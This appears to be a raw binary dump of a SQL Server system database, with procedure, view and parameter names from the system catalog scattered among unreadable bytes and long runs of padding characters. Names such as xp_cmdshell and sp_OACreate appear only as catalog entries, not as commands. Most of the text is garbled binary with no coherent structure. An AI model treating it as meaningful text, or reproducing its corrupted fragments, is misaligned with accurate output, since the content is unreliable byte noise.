!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!v(z2

T

^`
x
&
		D	Pp"Hh >b0@`t06M"425VR(L00gP YQ`Qxsp_help_fulltext_catalogs_cursor00V LPPddm_db_task_space_usage00P sV5Wdsp_MSadd_replcmds_mcit00P nCXupYlsp_changemergesubscription00P fXXTsp_MSgetonerow00P WWZsp_MSquerysubtype00
XP ߂XXsp_MSevaluate_change_membership_for_pubid00;P PTbYtsp_MSrepl_dropdatatypemappings00
P mV6Wtsp_MSdetect_nonlogged_shutdown00P yDWlWsp_change_log_shipping_primary_database001IFPQRfn_dump_dblog00ȑP ҫTTUlsp_MSrepl_gettype_mappings00P V2lYdsp_MSenum_distribution00vP T
Ursp_MSrepl_enumpublishertables00=P XrYZsp_MSsetupbelongs00_ V xPP`dm_os_memory_objects00$P OR5ORbsp_columns_rowset_rmt00-'P vNXNXsp_grantdbaccess004P O6Qq6QNsp_helpsort00=P Y%sY^sp_MSscriptviewproc00'GP JqT%UVsp_distcounters00h[GP U]hYbsp_MSgettrancftsrcrow00ieHP UxhY|sp_MSactivatelogbasedarticleobject004HP +W7Wxsp_validate_redirected_publisher004JP S]eYfsp_MSupdatelastsyncinfo00}~NP aUlhY\sp_replsqlqgetrows00]NX E,Q2Qzsp_describe_undeclared_parameters00ʈdV XN.XNnavailability_groups_cluster00AlP 6]YuYhsp_MSadd_filteringcolumn00KP YծYbsp_MSSQLDMO90_version00P XXhsp_check_dynamic_filters00(P SDTbsp_MSsub_set_identity00P ]N)NVsp_unbindefault00NV ջRRFDOMAINS007P fNOsp_fulltext_semantic_register_language_statistics_db00K٣P TeY|sp_MSestimatemergesnapshotworkload00coV NNfdm_audit_class_type_map00P UU~sp_startmergepushsubscription_agent00P PWlWsp_delete_log_shipping_secondary_database00WIFtPP^dm_logpoolmgr_stats00FȾP RDTsp_MSreplcheck_subscribe_withddladmin00L"P 	Y#sYlsp_MSdroparticletombstones00V  P>PXdm_os_schedulers00ͲP eReRzsp_table_type_primary_keys_rowset00RX 7Q7QNxp_cmdshell00P L R[ R\sp_special_columns00P 1WnY\sp_MShelpdestowner00P hUcVTsp_droparticle00V PPdm_os_server_diagnostics_log_configurations00
P 
Y
YVsp_MSdelsubrows00ӹP V*6W\sp_MSlock_auto_sub002P ܅SDTbsp_MSget_type_wrapper00DV ;QJQPdm_pdw_nodes00o)V QQjdm_hadr_instance_node_map00d+P uRuRrsp_check_constbytable_rowset200;6=P $WlYrsp_MSrepl_subscription_rowset00KP ˼XX`sp_MSenumgenerations00:KP UdVjsp_helptracertokenhistory004FOP TaYrsp_MShelpconflictpublications00OP hQՑQRsp_setnetname00TgP vT{aYLsp_dsninfo00ojV 
P!Pddm_os_dispatcher_pools00rX YrY^xp_get_tape_devices00)tP N)NRsp_bindefault00}#|P qNoO`sp_fulltext_database00P PQlsp_dbmmonitoraddmonitoring00P VYVYnsp_MSenumcolumnslightweight00ˢP pTw
Udsp_dropdatatypemapping00P Y,YVsp_MSindexspace00:P R-Rvsp_procedure_params_100_managed00cfP tUgYdsp_MSactivate_auto_sub00pP MWnYfsp_MSfixlineageversions00P }TDTXsp_addscriptexec00P 'RORhsp_provider_types_rowset00P ubSDTnsp_MSremoveoffloadparameter00ZP UeVVsp_IHXactSetJob00nX ",Q2Q^sp_resyncexecutesql!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!~PV|lj.J.|>Vvn

P
$N
x

		fbFp,D`<`507L"806Vach00|V oPPRdm_os_threads00yP XۛX|sp_MScreate_all_article_repl_views00NP W^WXsp_cdc_enable_db00cV QQ`dm_pdw_os_event_logs00seP  W7W`sp_MSstopmerge_agent00!V 'RJRHSCHEMATA00195FNRDTdfn_GetCurrentPrincipal000+8V RRVROUTINE_COLUMNS008P _TaYfsp_changedistributiondb0059V QQtdm_pdw_component_health_status00;P SRCTsp_MSacquiresnapshotdeliverysessionlock00CP ^T$Ulsp_addpublication_snapshot00VeDX NN`sp_SetOBDCertificate00NIFQ*Qdm_db_objects_disabled_on_compatibility_level_change00uUP 4Y sY`sp_MSvalidatearticle00zcYP JuQbuQsp_filestream_recalculate_container_size00YP ߨUdVhsp_MSscriptcustomupdproc00nhP rTaYXsp_MShelp_distdb00iP PQnsp_dbmmonitordropmonitoring00(nP ,WlYfsp_MShelpsnapshot_agent00#hnP #VleV\sp_MSupdatepeerlsn00GuP ;!Y9sYtsp_MSgetdynsnapvalidationtoken00YP FSCTXsp_MSenumcolumns00͘V +Q:Qpdm_pdw_diag_processing_stats00@	V PPXdm_exec_requests006P FUGdV^sp_MSprep_exclusive00xcP :R:R\sp_catalogs_rowset007P 'W7Wsp_MScleanup_subscription_distside_entry00]FNZAS,dYVfn_isrolemember00b}P XΔX|sp_MSget_dynamic_snapshot_location00V QQdm_pdw_nodes_tran_top_version_generators00P rXpYpsp_changedynamicsnapshot_job00sP TeYrsp_MSestimatesnapshotworkload005P OWlWsp_add_log_shipping_secondary_database00P ,[VneVrsp_help_peerconflictdetection007
P Q2Qtsp_help_spatial_geometry_index00,P YTUnsp_generate_agent_parameter00I<$IFOORdm_fts_parser00p%P YYbsp_MSSQLDMO70_version00%P @UcVtsp_changearticlecolumndatatype00
[0P TRTRfsp_foreign_keys_rowset3003V HP\P`dm_tran_commit_table004BIFN!Ntdm_cryptographic_provider_keys00 EV NNldm_fts_outstanding_batches009mLP RRfsp_linkedservers_rowset00NV 	QQZpdw_distributions009UX Q
Qbsp_server_diagnostics00eP SCTjsp_reinitpullsubscription00gP oXXdsp_MSenumchangesdirect00hIFPPjfn_MSxe_read_event_stream00{P tUcVZsp_scriptxdelproc00'zP SXeYhsp_MSreset_queued_reinit00P fPQZsp_user_counter1000>P 7X7Xlsp_reinitmergesubscription00SP T5UcVsp_enable_heterogeneous_subscription00&X ܀Y߁YXsp_OAGetProperty00&IFP%Pndm_db_missing_index_columns00P XXhsp_MSFixSubColumnBitmaps00RP SyXmyXbsp_dropmergepartition00^P TbYzsp_MSrepl_mergeagentstatussummary00P VLlYdsp_MShelp_subscription00aP 1.RN.RTsp_table_types00cP TCTsp_MSsetcontext_bypasswholeddleventbit00~V NEVeVXdm_repl_tranhash00!P 7UcVTsp_helparticle00P V6Wjsp_MScheck_tran_retention00EP ScYvsp_MSmerge_is_snapshot_required00+P NN`sp_srvrolepermission00mP Y
sY^sp_MSmakeupdateproc00P -VlY`sp_MSadd_publication00YP NOrsp_fulltext_recycle_crawl_log00GP ZXpY\sp_generatefilters00€X +QH2QLsp_prepare00
HX +QH2QTsp_prepexecrpc00@.OP V5Wvsp_MSupdate_subscriber_schedule00OV QQVdm_hadr_cluster!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!dh8bLt4^X0d
8d(h


:

(
	`	*dtt"HF.`60L"@(7VxCC001TX ?7Q@7QZsp_setuserbylogin00VP fWvYvsp_refresh_log_shipping_monitor00NZP XsY^sp_MSmakeinsertproc00btV 8QLQ\pdw_index_mappings00yV P˪P^dm_qn_subscriptions00{P V7Wlsp_MSupdate_tracer_history00}P aNoO^sp_fulltext_catalog00X |Y}YNsp_OACreate00FETFPPbfn_virtualservernodes00wP zQՑQ`sp_addlinkedsrvlogin00P Y_Yhsp_MSGetServerProperties00OP JNNTsp_helpntgroup00jmP tRtRpsp_check_constbytable_rowset00TQP 0WlYtsp_replmonitorhelpsubscription00P ښVx6W^sp_MSrepl_raiserror00uIFP-Pnfn_xe_file_target_read_file00
V 'QEQdm_pdw_nodes_os_virtual_address_dump004P 'XVXlsp_MSgetmetadatabatch90new00P 8QkQ|sp_help_spatial_geometry_histogram00EP yNN|sp_add_log_file_recover_suspect_db00nX YYlxp_instance_regdeletevalue00GP &V5W^sp_MSenum_qreader_s00gP SDTfsp_MSgetlastupdatedtime00P YLYTsp_MStablerefs00P &Y&Yjsp_MSgetdatametadatabatch00^P 2XJXjsp_MSgetmergeadminapplock00]	P ;RcRPsp_databases00o P R+Rjsp_table_type_columns_10000҉(P QXpYjsp_MSrepl_getpkfkrelation00".P mX	nXjsp_adddynamicsnapshot_job003P V;5W~sp_MSenable_publication_for_het_sub00$=P R#Rbsp_xml_schema_rowset200CP >TUxsp_MSreinit_failed_subscriptions00XZP N3NNsp_droptype00^P 6zXpYbsp_helpmergepartition00N[cP V*6W^sp_MSget_repl_error00jeP ETUdsp_replgetparsedddlcmd003fP VelYdsp_MSagent_stethoscope00BX NNvsp_AddFunctionalUnitToComponent00P BTaYbsp_help_agent_default00
FNBYBYXfn_MSdayasnumber00;FN2YxYrfn_MSget_dynamic_filter_login00qP TaY`sp_helpdistpublisher00{P ɬSDT^sp_table_validation00P UcVZsp_scriptxupdproc00P X/Xfsp_MSupdatereplicastate00V KQiQldm_pdw_nodes_exec_requests00BP lR@lR`sp_tables_rowset_rmt00P l5YIsYnsp_MSset_new_identity_range00&P zVlYjsp_MSadd_snapshot_history00BeV sPPjdm_db_session_space_usage00P SDTVsp_copysnapshot00ZP ~cUcV\sp_addsubscription00NFNaVneV\fn_replvarbintoint00'
V kNwNavailability_read_only_routing_lists00Q.P SCT`sp_MSreleaseSlotLock00TP VhYbsp_getsqlqueueversion00UpTV ,PHPpdm_exec_query_optimizer_info00*WV kPPXdm_xe_map_values00tqcP TeYrsp_MSdropfkreferencingarticle00eP bTSaYnsp_MShelpobjectpublications00U{gP ɯUcVZsp_scriptvupdproc00viP U2Yz2Yjsp_MSsetup_identity_range00qP TbYsp_MSrepl_distributionagentstatussummary00zP WWlWsp_MSadd_log_shipping_history_detail00}P 0V7Wfsp_MSadd_tracer_history00M P R	Rnsp_table_statistics2_rowset00P W{Xy{Xtsp_MSget_partitionid_eval_proc00cЯP <YYNsp_MSkilldb00ɫV Q̵Qdm_pdw_nodes_exec_background_job_queue00+P 5VmeVlsp_MSpeerapplytopologyinfo00P CYVmeVzsp_peerconflictdetection_tableaug00P vRRpsp_table_constraints_rowset200P 7,YL,Yjsp_MSvalidate_dest_recgen00P BWlW~sp_processlogshippingmonitorprimary00nP FPQXsp_user_counter9!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!RxLxp>tBf
Jr@(^"`

8
X
`
		<	rz N"`H0`9\)8L<߷6ݐ.0powershell_path6ݐ.0processing_time6ݐ.urn6.&batch_time6.,database_name6.Name6.&parent_urn6.0powershell_path6.0processing_time6.:server_instance_name6.urn6Q.B@distributed_job_history6Q.,@end_run_date6Q.	,@end_run_time6Q. @job_id6Q.$@job_name6Q.2@minimum_retries6Q.
<@minimum_run_duration6Q.@mode6Q.
,@oldest_first6Q.$@order_by6Q.(@run_status6Q. @server6Q.0@sql_message_id6Q.,@sql_severity6Q.0@start_run_date6Q.0@start_run_time6Q."@step_id6//8@collection_item_id6//6@collection_set_id6//8@collector_type_uid6//&@frequency6//@name6//(@parameters6/0available_space6/&batch_time6/,database_name6/.filegroup_name6/"FileName6/Growth6/
&GrowthType6/ MaxSize6/Name6/&parent_urn6/	:physical_server_name6/0powershell_path6/0processing_time6/:server_instance_name6/Size6/urn6/$UsedSpace6/2volume_device_id6/
(volume_name6/0VolumeFreeSpace6/,@end_run_date6/	,@end_run_time6/ @job_id6/$@job_name6/2@minimum_retries6/
<@minimum_run_duration6/@mode6/
,@oldest_first6/(@run_status6/ @server6/0@sql_message_id6/,@sql_severity6/0@start_run_date6/0@start_run_time6/"@step_id6E $08@collection_item_id6E $0&@frequency6E $0@name6E $0$@new_name6E $0(@parameters6*000available_space6*00&batch_time6*00,database_name6*00"FileName6*00Growth6*00&GrowthType6*00
 MaxSize6*00Name6*00&parent_urn6*00:physical_server_name6*000powershell_path6*000processing_time6*00:server_instance_name6*00Size6*00urn6*00$UsedSpace6*00
2volume_device_id6*00	(volume_name6*000VolumeFreeSpace6>00@automatic_post6>0 @job_id6>0$@job_name6>0*@server_name6~D18@collection_item_id6~D1&@frequency6~D1@name6~D1$@new_name6~D1(@parameters6cT12aggregation_type6cT1,database_name6cT1(object_type6cT1Lpercent_total_cpu_utilization6cT1:physical_server_name6cT10processing_time6cT1:server_instance_name6b1 @job_id6b1$@job_name6b1*@server_name6&m1@credential_date_created6&m1,credential_id6&m1(description6&m1 enabled6&m1name6&m1"proxy_id6&m1"user_sid6h28@collection_item_id6h2@name652 @job_id652$@job_name652>@show_last_run_details6_2$agent_exe6ݐ.)&Processors6ݐ.*.ProcessorUsage6ݐ.+ Product6ݐ.,*ProductLevel6ݐ.-<ResourceVersionString6ݐ..,RootDirectory6ݐ./&ServerType6ݐ.0.ServiceAccount6ݐ.14ServiceInstanceId6ݐ.2(ServiceName6ݐ.32ServiceStartMode6ݐ.4&SqlCharSet6ݐ.5.SqlCharSetName6ݐ.6.SqlDomainGroup6ݐ.7*SqlSortOrder6ݐ.82SqlSortOrderName6ݐ.9Status6ݐ.:2TapeLoadWaitTime6ݐ.;&TcpEnabled6ݐ.<*VersionMajor6ݐ.=*VersionMinor6ݐ.>,VersionString6/urn6/&parent_urn6/$Collation6/6CompatibilityLevel6/&CreateDate6/4EncryptionEnabled6/Name6/:server_instance_name6/	0powershell_path6/
,RecoveryModel6/(Trustworthy6/0processing_time6/
state6&y0urn6&y0&parent_urn6&y0Name6&y0:server_instance_name6&y0,database_name6&y00powershell_path6&y00processing_time69Jm1urn69Jm1&parent_urn69Jm1Growth69Jm1&GrowthType69Jm1 MaxSize69Jm1Name69Jm1Size69Jm1$UsedSpace69Jm1	"FileName69Jm1
0VolumeFreeSpace69Jm1:server_instance_name69Jm1,database_name69Jm1
.filegroup_name69Jm10powershell_path69Jm1(volume_name69Jm12volume_device_id69Jm1:physical_server_name69Jm10available_space!!!!!!`<jJ"hHX0nT4d8VjDn>T$


z
Z
4

rR&J&
Z*



Z
>

			`	4		nTZ@ `:
~ xHp<h2xLh,^jD*R(V,xP`6`8~)	N9U YG6/$@job_name6/2@minimum_retries6/
<@minimum_run_duration6/@mode6/
,@oldest_first6/(@run_status6/ @server6/0@sql_message_id6/,@sql_severity6/0@start_run_date6/0@start_run_time6/"@step_id6E $08@collection_item_id6E $0&@frequency6E $0@name6E $0$@new_name6E $0(@parameters6&y0,database_name6&y0Name6&y0&parent_urn6&y00powershell_path6&y00processing_time6&y0:server_instance_name6&y0urn6*000available_space6*00&batch_time6*00,database_name6*00"FileName6*00Growth6*00&GrowthType6*00
 MaxSize6*00Name6*00&parent_urn6*00:physical_server_name6*000powershell_path6*000processing_time6*00:server_instance_name6*00Size6*00urn6*00$UsedSpace6*00
2volume_device_id6*00	(volume_name6*000VolumeFreeSpace6>00@automatic_post6>0 @job_id6>0$@job_name6>0*@server_name6~D18@collection_item_id6~D1&@frequency6~D1@name6~D1$@new_name6~D1(@parameters69Jm10available_space69Jm1,database_name69Jm1
.filegroup_name69Jm1	"FileName69Jm1Growth69Jm1&GrowthType69Jm1 MaxSize69Jm1Name69Jm1&parent_urn69Jm1:physical_server_name69Jm10powershell_path69Jm1:server_instance_name69Jm1Size69Jm1urn69Jm1$UsedSpace69Jm12volume_device_id69Jm1(volume_name69Jm1
0VolumeFreeSpace6cT12aggregation_type6cT1,database_name6cT1(object_type6cT1Lpercent_total_cpu_utilization6cT1:physical_server_name6cT10processing_time6cT1:server_instance_name6b1 @job_id6b1$@job_name6b1*@server_name6&m1@credential_date_created6&m1,credential_id6&m1(description6&m1 enabled6&m1name6&m1"proxy_id6&m1"user_sid6h28@collection_item_id6h2@name652 @job_id652$@job_name652>@show_last_run_details6_2$agent_exe69Jm18percent_utilization69Jm10processing_time6rna2urn6rna2&parent_urn6rna2Growth6rna2&GrowthType6rna2 MaxSize6rna2Name6rna2Size6rna2$UsedSpace6rna2	"FileName6rna2
0VolumeFreeSpace6rna2:server_instance_name6rna2,database_name6rna2
0powershell_path6rna2(volume_name6rna22volume_device_id6rna2:physical_server_name6rna20available_space6rna28percent_utilization6rna20processing_time6D0&primary_id6D02primary_database6D02backup_directory6D0*backup_share6D0@backup_retention_period6D0,backup_job_id6D0.monitor_server6D0>user_specified_monitor6D0	Jmonitor_server_security_mode6D0
2last_backup_file6D02last_backup_date6D06backup_compression!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!DvrR,VFnL*


\
2

JxH 



^
.
	h			n	P	.		|X<p@z`&fL,tD,lR&,jh6`>b:`Q):MHwl6x[4@allow_both_nulls6x[,@principal_id6x[0@principal_name6x[.@principal_sid/[6/[,@architecture6Ȝ[$@job_name6Ȝ["@step_id6Y[R@policy_category_subscription_id6׶l\4@allow_both_nulls6׶l\@@allow_id_name_mismatch6׶l\(@profile_id6׶l\,@profile_name6׶l\&@profileidh\6h\ @family6\(@login_name6\(@table_name6\0health_state_id6\,last_run_date6\$policy_id6\result6\@target_query_expression6\Ptarget_query_expression_with_id6+\.category_class6+\(category_id6+\,category_type6+\name6+]4@backup_threshold6+]:@maintenance_plan_id6+]B@planned_outage_end_time6+]F@planned_outage_start_time6+]	J@planned_outage_weekday_mask6+]>@primary_database_name6+]
(@primary_id6+]:@primary_server_name6+]2@threshold_alert6+]B@threshold_alert_enabled6`](@account_id6`],@account_name6`]&@accountid6`]4@allow_both_nulls6`]@@allow_id_name_mismatch6ր](capacity_mb6ր],free_space_mb6ր]:physical_server_name6ր]:server_instance_name6ր]8virtual_server_name6ր]2volume_device_id6ր](volume_name6:].@database_name6:]8@database_user_name6:](@login_name6d](enlist_date6d]	8enlisted_by_nt_user6d].last_poll_date6d]@local_time_at_last_poll6d]"location6d]
,poll_interval6d]$server_id6d](server_name6d]status6d]:time_zone_adjustment6]*@installpath6^
6@allow_role_change6^,@copy_enabled6^,@load_enabled6^>@out_of_sync_threshold6^B@planned_outage_end_time6^
F@planned_outage_start_time6^J@planned_outage_weekday_mask6>W\:server_instance_name6>W\,database_name6>W\ fg_name6>W\$file_type6>W\*health_state6>W\0processing_time6wK]:server_instance_name6wK],database_name6wK]*health_state6wK]0processing_time!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!